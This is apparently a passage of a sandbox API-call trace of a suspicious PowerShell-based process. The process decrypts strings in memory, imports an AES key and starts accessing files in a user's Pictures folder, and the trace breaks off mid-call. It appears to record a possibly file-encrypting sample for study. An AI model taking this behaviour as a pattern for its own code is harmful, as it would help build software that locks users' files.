(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.895] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0135.895] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.896] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0135.896] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.896] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.896] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.896] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.896] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0135.896] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.896] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.896] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.896] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.896] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0135.896] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.896] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.896] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.896] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.896] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0135.896] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.897] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.897] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.897] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.897] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0135.897] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.897] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.897] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.897] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.897] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0135.897] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.897] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.897] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.897] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.897] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0135.897] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.897] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.897] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.897] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.898] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0135.898] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0135.898] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.898] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0135.898] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.898] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.898] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0135.898] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.898] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.899] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0135.899] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.899] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.899] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0135.899] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.899] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.899] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0135.899] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.899] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.899] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0135.899] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.900] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.900] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0135.900] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.900] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.900] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.900] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0135.900] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0135.900] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0135.900] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0135.901] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0135.901] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0135.901] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0135.901] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0135.901] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.901] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0135.901] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0135.902] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396a38) returned 1 [0135.903] CryptImportKey (in: hProv=0x4396a38, pbData=0x6a0e110, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84c38) returned 1 [0135.903] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.903] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0135.903] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.903] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.903] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.905] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif")) returned 0x20 [0135.905] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif")) returned 0x20 [0135.905] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.905] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.905] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.905] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.905] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.905] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.905] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.905] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.905] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.906] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.906] CreateFileW 